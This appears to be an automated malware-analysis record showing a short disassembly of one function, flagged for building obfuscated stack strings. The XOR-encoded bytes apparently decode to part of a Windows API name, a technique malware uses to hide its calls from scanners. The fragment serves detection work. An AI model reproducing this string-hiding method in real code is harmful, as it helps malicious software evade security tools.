inc ebp

Function at 0x411868
Capabilities:
Contain obfuscated stackstrings

Disassembly:
wait
xor eax, 0x349c45c6
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.0041149f
push eax
push esi
push dword [ebp + 8]
call fcn.00411454
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
invalid
pop ebp